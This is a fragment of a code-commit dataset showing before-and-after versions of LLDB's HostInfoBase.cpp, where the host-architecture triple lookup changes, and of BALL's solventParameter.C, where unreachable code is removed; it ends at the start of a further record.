= lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBShlibDir) => '%s'\", g_fields->m_lldb_so_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_so_dir;\n }\n break;\n case lldb::ePathTypeSupportExecutableDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeSupportExeDirectory (g_fields->m_lldb_support_exe_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeSupportExecutableDir) => '%s'\",\n g_fields->m_lldb_support_exe_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_support_exe_dir;\n }\n break;\n case lldb::ePathTypeHeaderDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeHeaderDirectory (g_fields->m_lldb_headers_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeHeaderDir) => '%s'\", g_fields->m_lldb_headers_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_headers_dir;\n }\n break;\n case lldb::ePathTypePythonDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputePythonDirectory (g_fields->m_lldb_python_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypePythonDir) => '%s'\", g_fields->m_lldb_python_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_python_dir;\n }\n break;\n case lldb::ePathTypeClangDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeClangDirectory (g_fields->m_lldb_clang_resource_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeClangResourceDir) => '%s'\", g_fields->m_lldb_clang_resource_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_clang_resource_dir;\n }\n break;\n case lldb::ePathTypeLLDBSystemPlugins:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeSystemPluginsDirectory (g_fields->m_lldb_system_plugin_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBSystemPlugins) => '%s'\",\n g_fields->m_lldb_system_plugin_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_system_plugin_dir;\n }\n break;\n case lldb::ePathTypeLLDBUserPlugins:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeUserPluginsDirectory (g_fields->m_lldb_user_plugin_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBUserPlugins) => '%s'\",\n g_fields->m_lldb_user_plugin_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_user_plugin_dir;\n }\n break;\n case lldb::ePathTypeLLDBTempSystemDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeTempFileDirectory (g_fields->m_lldb_tmp_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBTempSystemDir) => '%s'\", g_fields->m_lldb_tmp_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_tmp_dir;\n }\n break;\n }\n\n if (!result)\n return false;\n file_spec = *result;\n return true;\n}\n\nbool\nHostInfoBase::ComputeSharedLibraryDirectory(FileSpec &file_spec)\n{\n \/\/ To get paths related to LLDB we get the path to the executable that\n \/\/ contains this function. On MacOSX this will be \"LLDB.framework\/...\/LLDB\",\n \/\/ on linux this is assumed to be the \"lldb\" main executable. If LLDB on\n \/\/ linux is actually in a shared library (liblldb.so) then this function will\n \/\/ need to be modified to \"do the right thing\".\n\n FileSpec lldb_file_spec(\n Host::GetModuleFileSpecForHostAddress(reinterpret_cast<void *>(reinterpret_cast<intptr_t>(HostInfoBase::GetLLDBPath))));\n\n \/\/ Remove the filename so that this FileSpec only represents the directory.\n file_spec.GetDirectory() = lldb_file_spec.GetDirectory();\n\n return (bool)file_spec.GetDirectory();\n}\n\nbool\nHostInfoBase::ComputeSupportExeDirectory(FileSpec &file_spec)\n{\n return GetLLDBPath(lldb::ePathTypeLLDBShlibDir, file_spec);\n}\n\nbool\nHostInfoBase::ComputeTempFileDirectory(FileSpec &file_spec)\n{\n const char *tmpdir_cstr = getenv(\"TMPDIR\");\n if (tmpdir_cstr == NULL)\n {\n tmpdir_cstr = getenv(\"TMP\");\n if (tmpdir_cstr == NULL)\n tmpdir_cstr = getenv(\"TEMP\");\n }\n if (!tmpdir_cstr)\n return false;\n\n FileSpec temp_file_spec(tmpdir_cstr, false);\n temp_file_spec.AppendPathComponent(\"lldb\");\n if (!FileSystem::MakeDirectory(temp_file_spec.GetPath().c_str(), eFilePermissionsDirectoryDefault).Success())\n return false;\n\n std::string pid_str;\n llvm::raw_string_ostream pid_stream(pid_str);\n pid_stream << Host::GetCurrentProcessID();\n temp_file_spec.AppendPathComponent(pid_stream.str().c_str());\n std::string final_path = temp_file_spec.GetPath();\n if (!FileSystem::MakeDirectory(final_path.c_str(), eFilePermissionsDirectoryDefault).Success())\n return false;\n\n \/\/ Make an atexit handler to clean up the process specify LLDB temp dir\n \/\/ and all of its contents.\n ::atexit(CleanupProcessSpecificLLDBTempDir);\n file_spec.GetDirectory().SetCStringWithLength(final_path.c_str(), final_path.size());\n return true;\n}\n\nbool\nHostInfoBase::ComputeHeaderDirectory(FileSpec &file_spec)\n{\n \/\/ TODO(zturner): Figure out how to compute the header directory for all platforms.\n return false;\n}\n\nbool\nHostInfoBase::ComputeSystemPluginsDirectory(FileSpec &file_spec)\n{\n \/\/ TODO(zturner): Figure out how to compute the system plugins directory for all platforms.\n return false;\n}\n\nbool\nHostInfoBase::ComputeClangDirectory(FileSpec &file_spec)\n{\n return false;\n}\n\nbool\nHostInfoBase::ComputeUserPluginsDirectory(FileSpec &file_spec)\n{\n \/\/ TODO(zturner): Figure out how to compute the user plugins directory for all platforms.\n return false;\n}\n\nvoid\nHostInfoBase::ComputeHostArchitectureSupport(ArchSpec &arch_32, ArchSpec &arch_64)\n{\n llvm::Triple triple(llvm::sys::getDefaultTargetTriple());\n\n arch_32.Clear();\n arch_64.Clear();\n\n switch (triple.getArch())\n {\n default:\n arch_32.SetTriple(triple);\n break;\n\n case llvm::Triple::ppc64:\n case llvm::Triple::x86_64:\n arch_64.SetTriple(triple);\n arch_32.SetTriple(triple.get32BitArchVariant());\n break;\n\n case llvm::Triple::aarch64:\n case llvm::Triple::mips64:\n case llvm::Triple::sparcv9:\n arch_64.SetTriple(triple);\n break;\n }\n}\n<commit_msg>Use getProcessTriple inside HostInfoBase::ComputeHostArchitectureSupport instead of getDefaultTargetTriple.<commit_after>\/\/===-- HostInfoBase.cpp ----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lldb\/Host\/Config.h\"\n\n#include \"lldb\/Core\/ArchSpec.h\"\n#include \"lldb\/Core\/Log.h\"\n#include \"lldb\/Core\/StreamString.h\"\n#include \"lldb\/Host\/FileSystem.h\"\n#include \"lldb\/Host\/Host.h\"\n#include \"lldb\/Host\/HostInfo.h\"\n#include \"lldb\/Host\/HostInfoBase.h\"\n\n#include \"llvm\/ADT\/Triple.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <thread>\n#include <mutex> \/\/ std::once\n\nusing namespace lldb;\nusing namespace lldb_private;\n\nnamespace\n{\n void\n CleanupProcessSpecificLLDBTempDir()\n {\n \/\/ Get the process specific LLDB temporary directory and delete it.\n FileSpec tmpdir_file_spec;\n if (!HostInfo::GetLLDBPath(ePathTypeLLDBTempSystemDir, tmpdir_file_spec))\n return;\n\n \/\/ Remove the LLDB temporary directory if we have one. Set \"recurse\" to\n \/\/ true to all files that were created for the LLDB process can be cleaned up.\n FileSystem::DeleteDirectory(tmpdir_file_spec.GetDirectory().GetCString(), true);\n }\n\n \/\/----------------------------------------------------------------------\n \/\/ The HostInfoBaseFields is a work around for windows not supporting\n \/\/ static variables correctly in a thread safe way. Really each of the\n \/\/ variables in HostInfoBaseFields should live in the functions in which\n \/\/ they are used and each one should be static, but the work around is\n \/\/ in place to avoid this restriction. Ick.\n \/\/----------------------------------------------------------------------\n\n struct HostInfoBaseFields\n {\n uint32_t m_number_cpus;\n std::string m_vendor_string;\n std::string m_os_string;\n std::string m_host_triple;\n\n ArchSpec m_host_arch_32;\n ArchSpec m_host_arch_64;\n\n FileSpec m_lldb_so_dir;\n FileSpec m_lldb_support_exe_dir;\n FileSpec m_lldb_headers_dir;\n FileSpec m_lldb_python_dir;\n FileSpec m_lldb_clang_resource_dir;\n FileSpec m_lldb_system_plugin_dir;\n FileSpec m_lldb_user_plugin_dir;\n FileSpec m_lldb_tmp_dir;\n };\n \n HostInfoBaseFields *g_fields = nullptr;\n}\n\nvoid\nHostInfoBase::Initialize()\n{\n g_fields = new HostInfoBaseFields();\n}\n\nuint32_t\nHostInfoBase::GetNumberCPUS()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_number_cpus = std::thread::hardware_concurrency();\n });\n return g_fields->m_number_cpus;\n}\n\nuint32_t\nHostInfoBase::GetMaxThreadNameLength()\n{\n return 0;\n}\n\nllvm::StringRef\nHostInfoBase::GetVendorString()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_vendor_string = std::move(HostInfo::GetArchitecture().GetTriple().getVendorName().str());\n });\n return g_fields->m_vendor_string;\n}\n\nllvm::StringRef\nHostInfoBase::GetOSString()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_os_string = std::move(HostInfo::GetArchitecture().GetTriple().getOSName());\n });\n return g_fields->m_os_string;\n}\n\nllvm::StringRef\nHostInfoBase::GetTargetTriple()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_host_triple = HostInfo::GetArchitecture().GetTriple().getTriple();\n });\n return g_fields->m_host_triple;\n}\n\nconst ArchSpec &\nHostInfoBase::GetArchitecture(ArchitectureKind arch_kind)\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n HostInfo::ComputeHostArchitectureSupport(g_fields->m_host_arch_32, g_fields->m_host_arch_64);\n });\n\n \/\/ If an explicit 32 or 64-bit architecture was requested, return that.\n if (arch_kind == eArchKind32)\n return g_fields->m_host_arch_32;\n if (arch_kind == eArchKind64)\n return g_fields->m_host_arch_64;\n\n \/\/ Otherwise prefer the 64-bit architecture if it is valid.\n return (g_fields->m_host_arch_64.IsValid()) ? g_fields->m_host_arch_64 : g_fields->m_host_arch_32;\n}\n\nbool\nHostInfoBase::GetLLDBPath(lldb::PathType type, FileSpec &file_spec)\n{\n file_spec.Clear();\n\n#if defined(LLDB_DISABLE_PYTHON)\n if (type == lldb::ePathTypePythonDir)\n return false;\n#endif\n\n FileSpec *result = nullptr;\n switch (type)\n {\n case lldb::ePathTypeLLDBShlibDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeSharedLibraryDirectory (g_fields->m_lldb_so_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBShlibDir) => '%s'\", g_fields->m_lldb_so_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_so_dir;\n }\n break;\n case lldb::ePathTypeSupportExecutableDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeSupportExeDirectory (g_fields->m_lldb_support_exe_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeSupportExecutableDir) => '%s'\",\n g_fields->m_lldb_support_exe_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_support_exe_dir;\n }\n break;\n case lldb::ePathTypeHeaderDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeHeaderDirectory (g_fields->m_lldb_headers_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeHeaderDir) => '%s'\", g_fields->m_lldb_headers_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_headers_dir;\n }\n break;\n case lldb::ePathTypePythonDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputePythonDirectory (g_fields->m_lldb_python_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypePythonDir) => '%s'\", g_fields->m_lldb_python_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_python_dir;\n }\n break;\n case lldb::ePathTypeClangDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeClangDirectory (g_fields->m_lldb_clang_resource_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeClangResourceDir) => '%s'\", g_fields->m_lldb_clang_resource_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_clang_resource_dir;\n }\n break;\n case lldb::ePathTypeLLDBSystemPlugins:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeSystemPluginsDirectory (g_fields->m_lldb_system_plugin_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBSystemPlugins) => '%s'\",\n g_fields->m_lldb_system_plugin_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_system_plugin_dir;\n }\n break;\n case lldb::ePathTypeLLDBUserPlugins:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeUserPluginsDirectory (g_fields->m_lldb_user_plugin_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBUserPlugins) => '%s'\",\n g_fields->m_lldb_user_plugin_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_user_plugin_dir;\n }\n break;\n case lldb::ePathTypeLLDBTempSystemDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeTempFileDirectory (g_fields->m_lldb_tmp_dir);\n Log *log = lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_HOST);\n if (log)\n log->Printf(\"HostInfoBase::GetLLDBPath(ePathTypeLLDBTempSystemDir) => '%s'\", g_fields->m_lldb_tmp_dir.GetPath().c_str());\n });\n if (success)\n result = &g_fields->m_lldb_tmp_dir;\n }\n break;\n }\n\n if (!result)\n return false;\n file_spec = *result;\n return true;\n}\n\nbool\nHostInfoBase::ComputeSharedLibraryDirectory(FileSpec &file_spec)\n{\n \/\/ To get paths related to LLDB we get the path to the executable that\n \/\/ contains this function. On MacOSX this will be \"LLDB.framework\/...\/LLDB\",\n \/\/ on linux this is assumed to be the \"lldb\" main executable. If LLDB on\n \/\/ linux is actually in a shared library (liblldb.so) then this function will\n \/\/ need to be modified to \"do the right thing\".\n\n FileSpec lldb_file_spec(\n Host::GetModuleFileSpecForHostAddress(reinterpret_cast<void *>(reinterpret_cast<intptr_t>(HostInfoBase::GetLLDBPath))));\n\n \/\/ Remove the filename so that this FileSpec only represents the directory.\n file_spec.GetDirectory() = lldb_file_spec.GetDirectory();\n\n return (bool)file_spec.GetDirectory();\n}\n\nbool\nHostInfoBase::ComputeSupportExeDirectory(FileSpec &file_spec)\n{\n return GetLLDBPath(lldb::ePathTypeLLDBShlibDir, file_spec);\n}\n\nbool\nHostInfoBase::ComputeTempFileDirectory(FileSpec &file_spec)\n{\n const char *tmpdir_cstr = getenv(\"TMPDIR\");\n if (tmpdir_cstr == NULL)\n {\n tmpdir_cstr = getenv(\"TMP\");\n if (tmpdir_cstr == NULL)\n tmpdir_cstr = getenv(\"TEMP\");\n }\n if (!tmpdir_cstr)\n return false;\n\n FileSpec temp_file_spec(tmpdir_cstr, false);\n temp_file_spec.AppendPathComponent(\"lldb\");\n if (!FileSystem::MakeDirectory(temp_file_spec.GetPath().c_str(), eFilePermissionsDirectoryDefault).Success())\n return false;\n\n std::string pid_str;\n llvm::raw_string_ostream pid_stream(pid_str);\n pid_stream << Host::GetCurrentProcessID();\n temp_file_spec.AppendPathComponent(pid_stream.str().c_str());\n std::string final_path = temp_file_spec.GetPath();\n if (!FileSystem::MakeDirectory(final_path.c_str(), eFilePermissionsDirectoryDefault).Success())\n return false;\n\n \/\/ Make an atexit handler to clean up the process specify LLDB temp dir\n \/\/ and all of its contents.\n ::atexit(CleanupProcessSpecificLLDBTempDir);\n file_spec.GetDirectory().SetCStringWithLength(final_path.c_str(), final_path.size());\n return true;\n}\n\nbool\nHostInfoBase::ComputeHeaderDirectory(FileSpec &file_spec)\n{\n \/\/ TODO(zturner): Figure out how to compute the header directory for all platforms.\n return false;\n}\n\nbool\nHostInfoBase::ComputeSystemPluginsDirectory(FileSpec &file_spec)\n{\n \/\/ TODO(zturner): Figure out how to compute the system plugins directory for all platforms.\n return false;\n}\n\nbool\nHostInfoBase::ComputeClangDirectory(FileSpec &file_spec)\n{\n return false;\n}\n\nbool\nHostInfoBase::ComputeUserPluginsDirectory(FileSpec &file_spec)\n{\n \/\/ TODO(zturner): Figure out how to compute the user plugins directory for all platforms.\n return false;\n}\n\nvoid\nHostInfoBase::ComputeHostArchitectureSupport(ArchSpec &arch_32, ArchSpec &arch_64)\n{\n llvm::Triple triple(llvm::sys::getProcessTriple());\n\n arch_32.Clear();\n arch_64.Clear();\n\n switch (triple.getArch())\n {\n default:\n arch_32.SetTriple(triple);\n break;\n\n case llvm::Triple::ppc64:\n case llvm::Triple::x86_64:\n arch_64.SetTriple(triple);\n arch_32.SetTriple(triple.get32BitArchVariant());\n break;\n\n case llvm::Triple::aarch64:\n case llvm::Triple::mips64:\n case llvm::Triple::sparcv9:\n arch_64.SetTriple(triple);\n break;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ $Id: solventParameter.C,v 1.3 2000\/10\/17 17:20:45 anker Exp $\n\n#include <BALL\/SOLVATION\/solventParameter.h>\n\nusing namespace std;\n\nnamespace BALL\n{\n\n\tSolventParameter::SolventParameter() throw()\n\t\t: ParameterSection(),\n\t\t\tname_(),\n\t\t\tnumber_density_(0.0),\n\t\t\tsolvent_atoms_(),\n\t\t\tsolvent_descriptor_()\n\t{\n\t}\n\n\n\tSolventParameter::SolventParameter(const SolventParameter& param) throw()\n\t\t: ParameterSection(param),\n\t\t\tname_(param.name_),\n\t\t\tnumber_density_(param.number_density_),\n\t\t\tsolvent_atoms_(param.solvent_atoms_),\n\t\t\tsolvent_descriptor_(param.solvent_descriptor_)\n\t{\n\t}\n\n\n\tSolventParameter::~SolventParameter() throw()\n\t{\n\t\tclear();\n\n\t\tvalid_ = false;\n\t}\n\n\n\tvoid SolventParameter::clear() throw()\n\t{\n\t\tParameterSection::clear();\n\t\tname_ = \"\";\n\t\tnumber_density_ = 0.0;\n\t\tsolvent_descriptor_.clear();\n\t\tsolvent_atoms_.clear();\n\t}\n\n\n\tconst SolventParameter& SolventParameter::operator = \n\t\t(const SolventParameter& param) throw()\n\t{\n\t\tParameterSection::operator = (param);\n\t\tname_ = param.name_;\n\t\tnumber_density_ = param.number_density_;\n\t\tsolvent_atoms_ = param.solvent_atoms_;\n\t\tsolvent_descriptor_ = param.solvent_descriptor_;\n\n\t\treturn *this;\n\t}\n\n\n\tbool SolventParameter::operator == (const SolventParameter& param) const\n\t\tthrow()\n\t{\n\t\t\/\/ BAUSTELLE\n\t\treturn ((ParameterSection::operator == (param))\n\t\t\t&& (name_ == param.name_)\n\t\t\t&& (number_density_ == param.number_density_));\n\t\t\t\/\/ && (solvent_atoms_ == param.solvent_atoms_)\n\t\t\t\/\/ && (solvent_descriptor_ == param.solvent_descriptor_));\n\t}\n\n\n\tSolventDescriptor SolventParameter::getSolventDescriptor() const throw()\n\t{\n\t\treturn solvent_descriptor_;\n\t}\n\n\tbool SolventParameter::extractSection(ForceFieldParameters& parameters,\n\t\t\tconst String& section_name) throw()\n\t{\n\t\t\/\/ BAUSTELLE\n\t\tif (!parameters.isValid())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/ extract the basis information\n\t\tParameterSection::extractSection(parameters, section_name);\n\n\t\t\/\/ check whether all variables we need are defined, terminate otherwi\n\t\tif (!hasVariable(\"radius\") || !hasVariable(\"number_of_atoms\") || !hasVariable(\"element_symbol\"))\n\t\t{\n\t\t\tLog.error() << \"SolventParameter::extractSection(): Variable missing.\" \n\t\t\t\t<< endl;\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (options.has(\"name\"))\n\t\t\t{\n\t\t\t\tname_ = options.get(\"name\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tLog.warn() << \"SolventParameter::extractSection(): no name given.\" \n\t\t\t\t\t<< endl;\n\t\t\t}\n\t\t\tif (options.has(\"number_density\"))\n\t\t\t{\n\t\t\t\tnumber_density_ = options.getReal(\"number_density\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tLog.warn() << \"SolventParameter::extractSection(): \"\n\t\t\t\t\t<< \"no number density given.\" << endl;\n\t\t\t}\n\n\t\t\tAtomTypes& atom_types = parameters.getAtomTypes(); \n\n\t\t\tSize number_of_keys = getNumberOfKeys();\n\t\t\tsolvent_atoms_.resize(number_of_keys);\n\n\t\t\tSize index_element_symbol = getColumnIndex(\"element_symbol\");\n\t\t\tSize index_radius = getColumnIndex(\"radius\");\n\t\t\tSize index_number_of_atoms = getColumnIndex(\"number_of_atoms\");\n\t\t\n\t\t\tfor (Size i = 0; i < number_of_keys; ++i)\n\t\t\t{\n\t\t\t\tString type_name = getKey(i);\n\t\t\t\tif (atom_types.has(type_name))\n\t\t\t\t{\n\t\t\t\t\tsolvent_atoms_[i].type = atom_types.getType(type_name);\n\t\t\t\t\tsolvent_atoms_[i].element_symbol = getValue(i, index_element_symbol);\n\t\t\t\t\tsolvent_atoms_[i].radius = getValue(i, index_radius).toFloat();\n\t\t\t\t\tsolvent_atoms_[i].number_of_atoms = getValue(i, index_number_of_atoms).toInt();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLog.error() << \"SolventParameter::extractSection(): \"\n\t\t\t\t\t\t<< \"Cannot assign atom type.\" << endl;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ build descriptor \n\t\t\tsolvent_descriptor_ = SolventDescriptor(name_, number_density_,\n\t\t\t\t\tsolvent_atoms_);\n\t\t\treturn true;\n\t\t}\n\t\t\/\/ control flow should not reach this point\n\t\tLog.error() << \"SolventParameter::extractSection(): \"\n\t\t\t<< \"reached unreachable part of program\" << endl;\n\t\treturn false;\n\n\t}\n\n}\n<commit_msg>fixed: removed unreachable code<commit_after>\/\/ $Id: solventParameter.C,v 1.4 2000\/10\/20 15:20:44 anker Exp $\n\n#include <BALL\/SOLVATION\/solventParameter.h>\n\nusing namespace std;\n\nnamespace BALL\n{\n\n\tSolventParameter::SolventParameter() throw()\n\t\t: ParameterSection(),\n\t\t\tname_(),\n\t\t\tnumber_density_(0.0),\n\t\t\tsolvent_atoms_(),\n\t\t\tsolvent_descriptor_()\n\t{\n\t}\n\n\n\tSolventParameter::SolventParameter(const SolventParameter& param) throw()\n\t\t: ParameterSection(param),\n\t\t\tname_(param.name_),\n\t\t\tnumber_density_(param.number_density_),\n\t\t\tsolvent_atoms_(param.solvent_atoms_),\n\t\t\tsolvent_descriptor_(param.solvent_descriptor_)\n\t{\n\t}\n\n\n\tSolventParameter::~SolventParameter() throw()\n\t{\n\t\tclear();\n\n\t\tvalid_ = false;\n\t}\n\n\n\tvoid SolventParameter::clear() throw()\n\t{\n\t\tParameterSection::clear();\n\t\tname_ = \"\";\n\t\tnumber_density_ = 0.0;\n\t\tsolvent_descriptor_.clear();\n\t\tsolvent_atoms_.clear();\n\t}\n\n\n\tconst SolventParameter& SolventParameter::operator = \n\t\t(const SolventParameter& param) throw()\n\t{\n\t\tParameterSection::operator = (param);\n\t\tname_ = param.name_;\n\t\tnumber_density_ = param.number_density_;\n\t\tsolvent_atoms_ = param.solvent_atoms_;\n\t\tsolvent_descriptor_ = param.solvent_descriptor_;\n\n\t\treturn *this;\n\t}\n\n\n\tbool SolventParameter::operator == (const SolventParameter& param) const\n\t\tthrow()\n\t{\n\t\t\/\/ BAUSTELLE\n\t\treturn ((ParameterSection::operator == (param))\n\t\t\t&& (name_ == param.name_)\n\t\t\t&& (number_density_ == param.number_density_));\n\t\t\t\/\/ && (solvent_atoms_ == param.solvent_atoms_)\n\t\t\t\/\/ && (solvent_descriptor_ == param.solvent_descriptor_));\n\t}\n\n\n\tSolventDescriptor SolventParameter::getSolventDescriptor() const throw()\n\t{\n\t\treturn solvent_descriptor_;\n\t}\n\n\tbool SolventParameter::extractSection(ForceFieldParameters& parameters,\n\t\t\tconst String& section_name) throw()\n\t{\n\t\t\/\/ BAUSTELLE\n\t\tif (!parameters.isValid())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/ extract the basis information\n\t\tParameterSection::extractSection(parameters, section_name);\n\n\t\t\/\/ check whether all variables we need are defined, terminate otherwi\n\t\tif (!hasVariable(\"radius\") || !hasVariable(\"number_of_atoms\") || !hasVariable(\"element_symbol\"))\n\t\t{\n\t\t\tLog.error() << \"SolventParameter::extractSection(): Variable missing.\" \n\t\t\t\t<< endl;\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (options.has(\"name\"))\n\t\t\t{\n\t\t\t\tname_ = options.get(\"name\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tLog.warn() << \"SolventParameter::extractSection(): no name given.\" \n\t\t\t\t\t<< endl;\n\t\t\t}\n\t\t\tif (options.has(\"number_density\"))\n\t\t\t{\n\t\t\t\tnumber_density_ = options.getReal(\"number_density\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tLog.warn() << \"SolventParameter::extractSection(): \"\n\t\t\t\t\t<< \"no number density given.\" << endl;\n\t\t\t}\n\n\t\t\tAtomTypes& atom_types = parameters.getAtomTypes(); \n\n\t\t\tSize number_of_keys = getNumberOfKeys();\n\t\t\tsolvent_atoms_.resize(number_of_keys);\n\n\t\t\tSize index_element_symbol = getColumnIndex(\"element_symbol\");\n\t\t\tSize index_radius = getColumnIndex(\"radius\");\n\t\t\tSize index_number_of_atoms = getColumnIndex(\"number_of_atoms\");\n\t\t\n\t\t\tfor (Size i = 0; i < number_of_keys; ++i)\n\t\t\t{\n\t\t\t\tString type_name = getKey(i);\n\t\t\t\tif (atom_types.has(type_name))\n\t\t\t\t{\n\t\t\t\t\tsolvent_atoms_[i].type = atom_types.getType(type_name);\n\t\t\t\t\tsolvent_atoms_[i].element_symbol = getValue(i, index_element_symbol);\n\t\t\t\t\tsolvent_atoms_[i].radius = getValue(i, index_radius).toFloat();\n\t\t\t\t\tsolvent_atoms_[i].number_of_atoms = getValue(i, index_number_of_atoms).toInt();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLog.error() << \"SolventParameter::extractSection(): \"\n\t\t\t\t\t\t<< \"Cannot assign atom type.\" << endl;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ build descriptor \n\t\t\tsolvent_descriptor_ = SolventDescriptor(name_, number_density_,\n\t\t\t\t\tsolvent_atoms_);\n\t\t\treturn true;\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"poi_parser.h\"\n#include \"type\/data.h\"\n#include \"utils\/csv.h\"\n#include 